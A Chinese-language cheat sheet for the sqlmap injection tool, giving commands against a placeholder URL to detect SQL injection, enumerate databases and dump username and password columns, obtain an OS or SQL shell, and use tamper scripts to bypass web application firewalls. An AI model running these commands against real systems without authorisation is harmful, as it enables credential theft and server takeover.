SQLmap基於Python編寫,只要安裝了Python的操作系統就可以使用它。
一、SQLMap判斷是否存在注入
1、 sqlmap -u "http://XXXXXXX?id=1"
如果存在注入點,將會顯示Web容器、數據庫版本信息。
2、讀取數據庫:sqlmap -u "http://XXXXXXX?id=1" --dbs
3、查看當前應用程序所用數據庫:sqlmap -u "http://XXXXXXX?id=1" --current-dbs
4、列出指定數據庫的所有表:sqlmap -u "http://XXXXXXX?id=1" --tables -D "admin"
5、讀取指定表中的字段名稱:sqlmap -u "http://XXXXXXX?id=1" --columns -T "user" -D "admin"
6、讀取指定字段的內容:sqlmap -u "http://XXXXXXX?id=1" --dump -C "username,password" -T "user" -D"admin"
--dump參數意為轉存數據,-C參數指定字段名稱,-T指定表名,-D指定數據庫名稱。如果有數據庫關鍵字需要加上"[]",如[User]。
讀取數據后,數據會存到sqlmap/output/下。
二、SQLMap的一些參數
1、測試注入點權限
測試所有用戶的權限:sqlmap -u URL -- privileges
測試a用戶的權限:sqlmap -u URL -- privileges -U a
2、執行shell命令
sqlmap -u URL --os-cmd="net user"
系統交互的shell:sqlmap -u URL --os-shell
3、執行sql命令
SQL交互的shell,執行sql語句:sqlmap -u URL --sql-shell
sqlmap -u URL --sql-query="sql"
4、POST提交方式
sqlmap -u URL --data "POST參數"
5、顯示詳細的等級
sqlmap -u URL --dbs -v 1
-v 參數包含7個等級。
0:只顯示Python的回溯、錯誤和關鍵消息。
1:顯示信息和警告信息。
2:顯示調試信息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應頭。
6:顯示HTTP響應頁面的內容。
6、注入HTTP請求
sqlmap -r test.txt --dbs
test.txt 的內容為HTTP請求。
7、注入等級
sqlmap -u URL --level 3
8、使用sqlmap插件
sqlmap -u URL -tamper "插件名稱"
插件一般都保存在sqlmap目錄下的tamper文件夾中,通常用來繞過WAF。